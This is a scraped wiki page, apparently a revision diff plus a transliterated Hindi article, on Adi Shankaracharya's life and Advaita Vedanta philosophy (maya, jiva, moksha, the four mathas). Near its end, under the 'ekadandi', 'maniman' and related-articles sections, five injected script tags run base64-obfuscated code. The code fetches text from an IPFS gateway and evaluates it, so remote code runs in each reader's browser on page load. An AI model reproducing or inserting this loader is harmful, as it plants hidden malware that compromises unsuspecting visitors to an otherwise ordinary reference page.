Difference between revisions of "आदि शंकराचार्य"
| [unchecked revision] | [unchecked revision] |
| Line 59: | Line 59: | ||
जीव वास्तव में ब्रह्म ही है, दूसरा कुछ नहीं, शरीर धारण के कारण वह भिन्न प्रतीत होता है। शरीर तीन प्रकार का होता है- स्थूल शरीर, सूक्ष्म शरीर और कारण शरीर। अनादि प्रवाह के अधीन होकर कर्मफल को भोगने के लिए शरीर धारण करना पड़ता है। कर्म अविद्या के कारण होते हैं। अत: शरीर धारण अविद्या के ही कारण है। इसे ही बंधन कहते हैं। अविद्या के कारण कर्तृत्वाभिमान और भोक्तृत्वाभिमान पैदा होता है, जो [[आत्मा]] में स्वभावत: नहीं होता। जब कर्तृत्वाभिमान और भोक्तृत्वाभिमान से युक्त होता है, तब आत्मा जीव कहलाता है। मुक्त होने पर जीव ब्रह्म से एककारता प्राप्त करता है या उसका अनुभव करता है। | जीव वास्तव में ब्रह्म ही है, दूसरा कुछ नहीं, शरीर धारण के कारण वह भिन्न प्रतीत होता है। शरीर तीन प्रकार का होता है- स्थूल शरीर, सूक्ष्म शरीर और कारण शरीर। अनादि प्रवाह के अधीन होकर कर्मफल को भोगने के लिए शरीर धारण करना पड़ता है। कर्म अविद्या के कारण होते हैं। अत: शरीर धारण अविद्या के ही कारण है। इसे ही बंधन कहते हैं। अविद्या के कारण कर्तृत्वाभिमान और भोक्तृत्वाभिमान पैदा होता है, जो [[आत्मा]] में स्वभावत: नहीं होता। जब कर्तृत्वाभिमान और भोक्तृत्वाभिमान से युक्त होता है, तब आत्मा जीव कहलाता है। मुक्त होने पर जीव ब्रह्म से एककारता प्राप्त करता है या उसका अनुभव करता है। | ||
| − | + | ====उपनिषद कथन==== | |
| − | ==एकदण्डी== | + | [[आत्मा]] और ब्रह्म की एकता अथवा अभिन्नत्व दिखाने के लिए उपनिषदों ने कहा है- 'तत्वमसी' (तुम वही हो)। इसी कारण से ज्ञान होने पर 'सोऽहमस्मि' (मैं वही हूँ) का अनुभव होता है। जाग्रत अवस्था में स्थूल शरीर, स्वप्न में सूक्ष्म शरीर और सुषुप्ति में कारण शरीर रहता है। सुषुप्ति में चेतना भी रहती है, परन्तु विषयों का ज्ञान न होने के कारण जान पड़ता है कि सुषुप्ति में चेतना नहीं रहती। यदि सुषुप्ति में चेतना न होती तो जागने पर कैसे हम कहते कि सुखपूर्वक सोया? वहाँ चेतना साक्षीरूप या शुद्ध चैतन्य रूप है। परन्तु सुषुपति में अज्ञान रहता है। इसी से शुद्ध चेतना के रहते हुए भी सुषुप्ति मुक्ति से भिन्न है- मुक्ति की अवस्था में अज्ञान का नाश हो जाता है। शुद्ध चैतन्य रूप होने के कारण ही कहा गया है कि आत्मा एक है और ब्रह्मस्वरूप है। चेतना का विभाजन नहीं हो सकता है। जीवात्मा अनेक हैं, परन्तु आत्मा एक है, यह दिखाने के लिए उपमाओं का प्रयोग होता है। जैसे [[आकाश]] एक है परन्तु सीमित होने के कारण घट या घटाकाश अनेक दिखाई पड़ता है, अथवा [[सूर्य]] एक है, किन्तु उसकी परछाई अनेक स्थलों में दिखाई पड़ने से वह अनेक दिखाई पड़ता है, इसी प्रकार यद्यपि आत्मा एक है फिर भी माया या अविद्या के कारण अनेक दिखाई पड़ता है। |
| + | ====जीव और ईश्वर में भेद==== | ||
| + | जीव और ईश्वर में व्यावहारिक दृष्टि से भेद है। जीवन बद्ध है, ईश्वर नित्यमुक्त है। मुक्त होने पर भी जीव को नित्यमुक्त नहीं कहा जा सकता। नित्यमुक्त होने के कारण ही ईश्वर श्रुति का जनक या आदिगुरु कहा जाता है। ईश्वर को मायोपहित कहा गया है, क्योंकि माया विक्षेप प्रधान होने के कारण और ईश्वर के अधीन होने के कारण ईश्वर के ज्ञान का आवरण नहीं करती। परन्तु जीव को अज्ञानोपहित कहा गया है, क्योंकि अज्ञान द्वारा जीव का स्वरूप ढक जाता है। इसी से कभी-कभी माया और अविद्या में भेद किया जाता है। माया ईश्वर की उपाधि है- सत्व प्रधान है, विक्षेप प्रधान है और अविद्या जीव की उपाधि है, तमस्-प्रधान है और उसमें आवरण विक्षेप होता है। | ||
| + | ==अज्ञानता तथा मुक्ति== | ||
| + | अज्ञान के कारण जीव अपने स्वरूप को भूल कर अपने को कर्ता-भोक्ता समझता है। इसी से उसको शरीर धारण करना पड़ता है और बार-बार संसार में आना पड़ता है। यही बंधन है। इस बंधन से छुटकारा तभी मिलता है, जब अज्ञान का नाश होता है और जीव अपने को शुद्ध चैतन्य ब्रह्म के रूप में जान जाता है। शरीर रहते हुए भी ज्ञान के हो जाने पर जीव मुक्त हो सकता है, क्योंकि शरीर तभी तक बंधन है, जब तक जीव अपने को [[आत्मा]] रूप में न जानकर अपने को शरीर, इन्द्रिय, मन आदि के रूप में समझता है। इसी से [[वेदान्त]] में जीवनमुक्ति और विदेहमुक्ति नाम की दो प्रकार की मुक्ति मानी गयी हैं। ज्ञान हो जाने के बाद भी प्रारब्ध भोग के लिए शरीर [[कुम्हार]] के चक्र के समान पूर्वप्रेरित [[गति]] के कारण चलता रहता है। शरीर छूटने पर ज्ञानी विदेह मुक्ति प्राप्त करता है। | ||
| + | ====एकदण्डी==== | ||
{{मुख्य|एकदण्डी}} | {{मुख्य|एकदण्डी}} | ||
*शंकराचार्य द्वारा स्थापित दसनामी संन्यासियों में से प्रथम तीन (तीर्थ, आश्रम एवं सरस्वती) विशेष सम्मान्य माने जाते हैं। | *शंकराचार्य द्वारा स्थापित दसनामी संन्यासियों में से प्रथम तीन (तीर्थ, आश्रम एवं सरस्वती) विशेष सम्मान्य माने जाते हैं। | ||
*इनमें केवल ब्राह्मण ही सम्मिलित हो सकते हैं। शेष सात वर्गों में अन्य वर्णों के लोग भी आ सकते हैं, किन्तु दंड धारण करने के अधिकारी ब्राह्मण ही हैं। | *इनमें केवल ब्राह्मण ही सम्मिलित हो सकते हैं। शेष सात वर्गों में अन्य वर्णों के लोग भी आ सकते हैं, किन्तु दंड धारण करने के अधिकारी ब्राह्मण ही हैं। | ||
| − | ==मणिमान== | + | ====मणिमान==== |
{{मुख्य|मणिमान}} | {{मुख्य|मणिमान}} | ||
*शंकराचार्य एवं मध्वाचार्य के शिष्यों में परस्पर घोर प्रतिस्पर्धा रहती थी। | *शंकराचार्य एवं मध्वाचार्य के शिष्यों में परस्पर घोर प्रतिस्पर्धा रहती थी। | ||
Revision as of 12:49, 30 April 2012
adi shankarachary|thumb|250px adi shankarachary (aangrezi: Adi Shakaracharya, janm ka nam: shankar) (788 eesavi-820 eesavi) ka janm dakshin bharat ke keral rajy ke kaladi़ gram mean hua tha. ye advait vedant ke praneta, sanskrit ke vidvan, upanishad vyakhyata aur hindoo dharm pracharak the. hindoo dharmik manyata ke anusar inako bhagavan shankar ka avatar mana jata hai. inhoanne lagabhag poore bharat ki yatra ki aur inake jivan ka adhikaansh bhag uttar bharat mean bita. char pithoan (math) ki sthapana karana inaka mukhy roop se ullekhaniy kary raha, jo aj bhi maujood hai. shankarachary ko bharat ke hi nahian apitu sare sansar ke uchchatam darshanikoan mean mahatv ka sthan prapt hai. unhoanne anek granth likhe haian, kintu unaka darshan vishesh roop se unake tin bhashyoan mean, jo upanishad, brahmasootr aur gita par haian, milata hai. gita aur brahmasootr par any acharyoan ke bhi bhashy haian, parantu upanishadoan par samanvayatmak bhashy jaisa shankarachary ka hai, vaisa any kisi ka nahian hai.
janm
shankarachary ka janm dakshin bharat ke keral mean avasthit nimboodaripad brahmanoan ke 'kaladi़ gram' mean 788 ee. mean hua tha. unhoanne apane jivan ka adhikaansh samay uttar bharat mean vyatit kiya. unake dvara sthapit 'advait vedaant sampraday' 9vian shatabdi mean kafi lokapriy hua. unhoanne prachin bharatiy upanishadoan ke siddhantoan ko punarjivan pradan karane ka prayatn kiya. unhoanne eeshvar ko poorn vastavikata ke roop mean svikar kiya aur sath hi is sansar ko bhram ya maya bataya. unake anusar ajnani log hi eeshvar ko vastavik n manakar sansar ko vastavik manate haian. jnani logoan ka mukhy uddeshy apane ap ko bhamr v maya se mukt karana evan eeshvar v brahm se tadamy sthapit karana hona chahie. shankarachary ne varn par adharit brahman pradhan samajik vyavastha ka samarthan kiya. shankarachary ne sannyasi samuday mean sudhar ke lie upamahadvip mean charoan dishaoan mean char mathoan ki sthapana ki. 'avataravad' ke anusar, eeshvar tab avatar leta hai, jab dharm ki hani hoti hai. dharm aur samaj ko vyavasthit karane ke lie hi ashutosh shiv ka agaman adi shakarachary ke roop mean hua.
shiksha
thumb|adi shankarachary hindoo dharm ki manyata ke anusar adi shankarachary ne apani anany nishtha ke phalasvaroop apane sadaguru se shastroan ka jnan hi nahian prapt kiya, balki brahmatv ka bhi anubhav kiya. jivan ke vyavaharik aur adhyatmik paksh ki satyata ko inhoanne jahaan kashi mean ghati do vibhinn ghatanaoan ke dvara jana, vahian mandanamishr se hue shastrarth ke bad parakaya pravesh dvara us yatharth ka bhi anubhav kiya, jise sanyas ki maryada mean bhoga nahian ja sakata. yahi karan hai ki kuchh batoan ke bare mean poorvagrah dikhate hue bhi lok sangrah ke lie, achary shankar adhyatm ki charam sthiti mean kisi tarah ke bandhan ko svikar nahian karate. apani mata ke jivan ke aantim kshanoan mean pahuanchakar putr hone ke kartavy ka palan karana is sandarbh mean atyant mahattvapoorn ghatana hai.
rachanaean v vyaktitv
shankarachary ne upanishadoan, shrimadbhagavad gita evan brahmasootr par bhashy likhe haian. upanishad, brahmasootr evan gita par likhe gaye shankarachary ke bhashy ko 'prasthanatrayi' ke antargat rakhate haian. shankarachary ne hindoo dharm ke sthayitv, prachar-prasar evan pragati mean apoorv yogadan diya. unake vyaktitatv mean guru, darshanik, samaj evan dharm sudharak, vibhinn matoan tatha sampradayoan ke samanvayakarta ka roop dikhaee p data hai. shankarachary apane samay ke utkrisht vidvan evan darshanik the. itihas mean unaka sthan inake 'advait siddhant' ke karan amar hai. gau dapad ke shishy 'govind yogi' ko shankarachary ne apana pratham guru banaya. govind yogi se unhean 'paramahans' ki upadhi prapt huee. kuchh vidvan shankarachary par bauddh shoonyavad ka prabhav dekhate haian tatha unhean 'prachchhann bauddh' ki sanjna dete haian.
| math | pradesh |
|---|---|
| jyotishapith, badrinath | uttarakhand (himalay mean sthit) |
| govardhanapith, puri | u disa |
| sharadapith, dvarika | gujarat |
| shrriangeripith, maisoor | karnatak |
hindoo dharm ki punah sthapana
adi shankarachary ko hindoo dharm ko punah sthapit evan pratishthit karane ka shrey diya jata hai. ek taraf unhoanne advait chintan ko punarjivit karake sanatan hindoo dharm ke darshanik adhar ko sudridh kiya, to doosari taraf unhoanne janasamany mean prachalit moortipooja ka auchity siddh karane ka bhi prayas kiya. sanatan hindoo dharm ko dridh adhar pradan karane ke liye unhoanne virodhi panth ke mat ko bhi aanshik taur par aangikar kiya. shankar ke mayavad par mahayan bauddh chintan ka prabhav mana jata hai. isi adhar par unhean 'prachhann buddh' kaha gaya hai.
moksh aur jnan
[[chitr:Vidyashankara Temple shrangeri.jpg|thumb|left|vidyashankar mandir, shrriangeri pith, karnatak]] achary shankar jivan mean dharm, arth aur kam ko nirarthak manate haian. ve jnan ko advait jnan ki param sadhana manate haian, kyoanki jnan samast karmoan ko jalakar bhasm kar deta hai. srishti ka vivechan karate samay ki isaki utpatti kaise hoti hai?, ve isaka mool karan brahm ko manate haian. vah brahm apani 'maya' shakti ke sahayog se is srishti ka nirman karata hai, aisi unaki dharana hai. lekin yahaan yah nahian bhoolana chahie ki shakti aur shaktiman ek hi haian. donoan mean koee aantar nahian hai. is prakar srishti ke vivechan se ek bat aur bhi spasht hoti hai ki paramatma ko sarvavyapak kahana bhi bhool hai, kyoanki vah sarvaroop hai. vah anekaroop ho gaya, 'yah anekata hai hi nahian', 'maian ek hooan bahut ho jaooan' addhait mat ka yah kathan sanket karata hai ki shaitan ya buri atma ka koee astitv nahian hai. aisa kahian dikhaee bhi deta hai, to vah vastutah nahian hai bhram hai bas. jivoan aur brahmaiv naparah- jiv hi brahm hai any nahian.
nishkam upasana
aise mean bandhan aur mukti jaise shabd bhi khelamatr haian. vicharoan se hi vyakti bandhata hai. usi ke dvara mukt hota hai. bhavarog se mukt hone ka ekamatr upay hai vichar. usi ke lie nishkam karm aur nishkam upasana ko achary shankar ne sadhana bataya. nishkam hone ka arth hai sansar ki vastuoan ki kamana n karana, kyoanki sharirik maang to prarabdhata se poori hogi aur manovaijnanik chah ki koee sima nahian hai. is saty ko janakar apane kartavyoan ka palan karana tatha eeshvariy satta ke prati samarpan ka bhav, alasy prasad se uthakar chitt ko nishchal bana degean, jisamean jnan tikega.
buddhi, bhav aur karm ka santulan
[[chitr:Sringeri Sharada Peeth.jpg|thumb|shrriangeri pith, sharada, karnatak
Sringeri Peeth, Sharada, Karnataka]]
achary ne buddhi, bhav aur karm in tinoan ke santulan par zor diya hai. is tarah vaidantik sadhana hi samagr sadhana hai. kabhi-kabhi lagata hai ki achary shankar paramparavadi haian. lekin vastavikata aisi nahian hai. unaki chhoti-chhoti, lekin mahattvapoorn rachanaoan se is bat ka spasht sanket milata hai. parampara ka nirvah karate hue bhi unaka lakshy 'saty' pratipadan karana hai. prashnottari mean kahe is shlokaansh se sanket milata hai, pashuoan mean bhi pashu vah hai jo dharm ko janane ke bad bhi usaka acharan nahian karata aur jisane shastroan ka adhyayan kiya hai, phir bhi use atmabodh nahian hua hai. isi prakar 'bhaj govindam' mean bahari roop-svaroop ko nakarate hue ve kahate haian ki "jo sansar ko dekhate hue bhi nahian dekhata hai, usane apana pet bharane ke lie tarah-tarah ke vastr dharan kie hue haian."
vyavaharik saty
jivan ke param saty ko vyavaharik saty ke sath jo dane ke karan hi aparokshanubhooti ke bad achary shankar maun baithakar usaka anand nahian lete, balki samooche bharatavarsh mean ghoom-ghoom kar usake roop-svaroop ko nikharane mean tatpar hote haian. mano tyag-vairagy aur nivritti ke moortaroop hoan, lekin pravritti ki parakashtha hai, unamean shriram, shri krishna ki tarah.
jagadaguru
char mathoan ki sthapana, dashanam sanyas ko suvyavasthit roop dena, sagun-nirgan ka bhed mitane ka prayas, harihar nishtha ki sthapana ye kary hi unhean 'jagadaguru' pad par pratishthit karate haian. svami vivekanand, svami ramatirth jaise yuva sanyasiyoan ne videshoan mean jakar jis vedaant ka ghosh kiya, vah shankar vedaant hi to tha. jagadaguru kahalana, keval us parampara ka nirvah karana aur svayan ko us roop mean pratishthit karana bilkul alag-alag batean haian. aj bharat ko ek aise hi mahan vyaktitv ki avashyakata hai, jisamean yogi, kavi, bhakt, karmanishth aur shastriy jnan ke sath hi janakalyan ki bhavana ho, jo saty ke lie sarvasv ka tyag karane ko udyat ho.
shankarachary ka kathan
shankarachary ka kathan hai ki advait darshan ki parampara atyant prachin hai aur upanishadoan ki shiksha par avalambit hai. advait darshan ke tin pahaloo haian-
- tatv mimaansa
- jnan mimaansa
- achar darshan
inaka alag-alag vikas shankarachary ke bad ke vaidantiyoan ne kiya. tatv mimaansa ki drishti se advaitavad ka arth hai ki sabhi prakar ke dvait ya bhed ka nishedh. antim tatv brahm ek aur advay hai. usamean svagat, svajatiy tatha vijatiy kisi bhi prakar ka dvait nahian hai. brahm niravayav, avibhajy aur anant hai. use sachchidanand ya 'satyan, jnanan, anantamh brahma' bhi kaha gaya hai. asath ka nishedh karane se jo prapt ho, vah sath, achith ka nishedh karane se jo prapt ho, vah chith aur du:kh ka nishedh karane se jo prapt ho, vah anand hai. yah brahma ka svaroop lakshan hai, parantu yahaan dhyan rakhane ki bat yah hai ki sath, chith aur anand n to brahm ke tin pahaloo haian, n hi brahm ke tin aansh aur n brahm ke tin visheshan haian. jo sath hai vahi chit hai aur vahi anand bhi hai. drishti bhed ke karan use sachchidanand kaha gaya hai- asath ki drishti se vah sath achith ki drishti se chith aur du:kh ki drishti se anand hai.
jagat ka karan- eeshvar
yah nirgun, nirakar, avikari, chith brahm hi jagat ka karan hai. jagat ke karan ke roop mean use eeshvar kaha jata hai. mayopahit brahm hi eeshvar hai. at: brahm aur eeshvar do tatv nahian haian- donoan ek hi haian. jagat ka karan hona- yah brahm ka tatasth lakshan hai. tatasth lakshan ka arth hai, vah lakshan jo brahm ka aang n hote hue bhi brahm ki or sanket kare. jagat brahm par ashrit hai, parantu brahm jagat par kisi bhi prakar ashrit nahian hai, vah svatantr hai. jagat ka karan prakriti, anu ya svabhav mean se koee nahian ho sakata. isi se upanishadoan ne spasht kaha hai ki brahm vah hai jo jagat ki srishti, sthiti aur lay ka karan hai. jagat ki srishti adi ke lie brahm ko kisi any tatv ki avashyakata nahian hoti. isi se brahm ko abhinn nimittopadan karan kaha hai. jagat ki rachana brahmashrit maya se hoti hai, parantu maya koee svatantr tatv nahian hai. yah mithya hai, isalie brahm ko hi karan kaha gaya hai. srishti vastavik nahian hai, at: use mayajanit kaha gaya hai. maya ya avidya ke karan hi jahaan koee nam-roop nahian hai, jahaan bhed nahian hai, vahaan nam-roop aur bhed ka abhas hota hai. isi se srishti ko brahm ka vivart bhi kaha gaya hai. vivart ka arth hai karan ya kisi vastu ka apane svaroop mean sthit rahate hue any roopoan mean avabhasit hona, arthath parivartan vastavik nahian balki abhas matr hai.
vidya ke prakar
brahm ki srishti ka karan kahane se yah maloom p d sakata hai ki brahm ki satta kary-karan anuman ke adhar par siddh ki gee hai. parantu yah bat nahian hai. brahm jagat ka karan hai, yah jnan hamako shruti se hota hai. at: brahm ke vishay mean shruti hi praman hai.[1] kintu isaka yah arth nahian hai ki tark ke lie koee sthan nahian hai. shrutyanukool tark vedaant ko many hai. svatantr roop se brahmajnan karane ka samarthy tark mean nahian hai, kyoanki brahm nirgun hai. isi se tark aur shruti mean virodh bhi nahian ho sakata hai. donoan ke kshetr prithak-prithak haian. shruti aur pratyaksh ka bhi kshetr alag-alag hone ke karan unamean virodh nahian ho sakata. shruti par-tatv vishayak hai aur pratyaksh aparatatv-vishayak. isi se vidya bhi para aur apara do prakar ki mani gee hai.
sattaean
aisa kaha gaya hai ki jagat brahm ka vivart hai, arthath avidya ke karan abhas matr hai. avidya ko jnan ka abhav matr nahian samajhana chahie. vah bhav to nahian hai, parantu bhav roop hai-bhav aur abhav donoan se bhinn anirvachaniy hai. bhav se bhinn isalie hai ki usaka bodh hota hai, tatha abhav se bhinn isalie ki isake karan mithya vastu dikhaee p dati hai, jaise rajju ke sthan par sarpabhas. isalie kaha gaya hai ki avidya ki do shaktiyaan haian- avaran aur vikshep. vikshep shakti mithya sarp ka srijan karati hai aur avaran shakti sarp ke dvara rajju ka avaran karati hai. isi se rajju ajnan ki avastha mean sarvapath dikhaee p dati hai. isi prakar brahm bhi ajnan ke karan jagatavath dikhaee p data hai. at: vedant mean tin sattaean svikrit ki gee haian-
- pratibhasik (sarp) - jo hamare sadharan bhram ki sthiti mean abhasit hota hai aur rassi ke jnan ke badhit hota hai.
- vyavaharik (jagat) - jo mithya to hai parantu, jab tak brahm ka jnan nahian ho jata, tab tak saty pratit hota hai, aur jnan ho jane par badhit ho jata hai.
- brahm - jise paramarthik kaha jata hai. isaka kabhi bhi jnan nahian hota hai. yah nity hai. brahmajnan hone se jagat ka bodh ho jata hai aur mukti prapt ho jati hai.
jiv vastav mean brahm hi hai, doosara kuchh nahian, sharir dharan ke karan vah bhinn pratit hota hai. sharir tin prakar ka hota hai- sthool sharir, sookshm sharir aur karan sharir. anadi pravah ke adhin hokar karmaphal ko bhogane ke lie sharir dharan karana p data hai. karm avidya ke karan hote haian. at: sharir dharan avidya ke hi karan hai. ise hi bandhan kahate haian. avidya ke karan kartritvabhiman aur bhoktritvabhiman paida hota hai, jo atma mean svabhavat: nahian hota. jab kartritvabhiman aur bhoktritvabhiman se yukt hota hai, tab atma jiv kahalata hai. mukt hone par jiv brahm se ekakarata prapt karata hai ya usaka anubhav karata hai.
upanishad kathan
atma aur brahm ki ekata athava abhinnatv dikhane ke lie upanishadoan ne kaha hai- 'tatvamasi' (tum vahi ho). isi karan se jnan hone par 'soahamasmi' (maian vahi hooan) ka anubhav hota hai. jagrat avastha mean sthool sharir, svapn mean sookshm sharir aur sushupti mean karan sharir rahata hai. sushupti mean chetana bhi rahati hai, parantu vishayoan ka jnan n hone ke karan jan p data hai ki sushupti mean chetana nahian rahati. yadi sushupti mean chetana n hoti to jagane par kaise ham kahate ki sukhapoorvak soya? vahaan chetana sakshiroop ya shuddh chaitany roop hai. parantu sushupati mean ajnan rahata hai. isi se shuddh chetana ke rahate hue bhi sushupti mukti se bhinn hai- mukti ki avastha mean ajnan ka nash ho jata hai. shuddh chaitany roop hone ke karan hi kaha gaya hai ki atma ek hai aur brahmasvaroop hai. chetana ka vibhajan nahian ho sakata hai. jivatma anek haian, parantu atma ek hai, yah dikhane ke lie upamaoan ka prayog hota hai. jaise akash ek hai parantu simit hone ke karan ghat ya ghatakash anek dikhaee p data hai, athava soory ek hai, kintu usaki parachhaee anek sthaloan mean dikhaee p dane se vah anek dikhaee p data hai, isi prakar yadyapi atma ek hai phir bhi maya ya avidya ke karan anek dikhaee p data hai.
jiv aur eeshvar mean bhed
jiv aur eeshvar mean vyavaharik drishti se bhed hai. jivan baddh hai, eeshvar nityamukt hai. mukt hone par bhi jiv ko nityamukt nahian kaha ja sakata. nityamukt hone ke karan hi eeshvar shruti ka janak ya adiguru kaha jata hai. eeshvar ko mayopahit kaha gaya hai, kyoanki maya vikshep pradhan hone ke karan aur eeshvar ke adhin hone ke karan eeshvar ke jnan ka avaran nahian karati. parantu jiv ko ajnanopahit kaha gaya hai, kyoanki ajnan dvara jiv ka svaroop dhak jata hai. isi se kabhi-kabhi maya aur avidya mean bhed kiya jata hai. maya eeshvar ki upadhi hai- satv pradhan hai, vikshep pradhan hai aur avidya jiv ki upadhi hai, tamash-pradhan hai aur usamean avaran vikshep hota hai.
ajnanata tatha mukti
ajnan ke karan jiv apane svaroop ko bhool kar apane ko karta-bhokta samajhata hai. isi se usako sharir dharan karana p data hai aur bar-bar sansar mean ana p data hai. yahi bandhan hai. is bandhan se chhutakara tabhi milata hai, jab ajnan ka nash hota hai aur jiv apane ko shuddh chaitany brahm ke roop mean jan jata hai. sharir rahate hue bhi jnan ke ho jane par jiv mukt ho sakata hai, kyoanki sharir tabhi tak bandhan hai, jab tak jiv apane ko atma roop mean n janakar apane ko sharir, indriy, man adi ke roop mean samajhata hai. isi se vedant mean jivanamukti aur videhamukti nam ki do prakar ki mukti mani gayi haian. jnan ho jane ke bad bhi prarabdh bhog ke lie sharir kumhar ke chakr ke saman poorvaprerit gati ke karan chalata rahata hai. sharir chhootane par jnani videh mukti prapt karata hai.
ekadandi
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- shankarachary dvara sthapit dasanami sannyasiyoan mean se pratham tin (tirth, ashram evan sarasvati) vishesh sammany mane jate haian.
- inamean keval brahman hi sammilit ho sakate haian. shesh sat vargoan mean any varnoan ke log bhi a sakate haian, kintu dand dharan karane ke adhikari brahman hi haian.
maniman
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- shankarachary evan madhvachary ke shishyoan mean paraspar ghor pratispardha rahati thi.
- madhv apane ko vayu dev ka avatar kahate the tatha shankar ko mahabharat mean udadhrit ek aspasht vyakti, maniman ka avatar manate the.
|
|
|
|
|
|
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ advaitavedaant mean chh: praman mane ge haian, parantu brahm jnan ke lie shruti ki hi anivaryata hai. dekhie- vedaant paribhasha.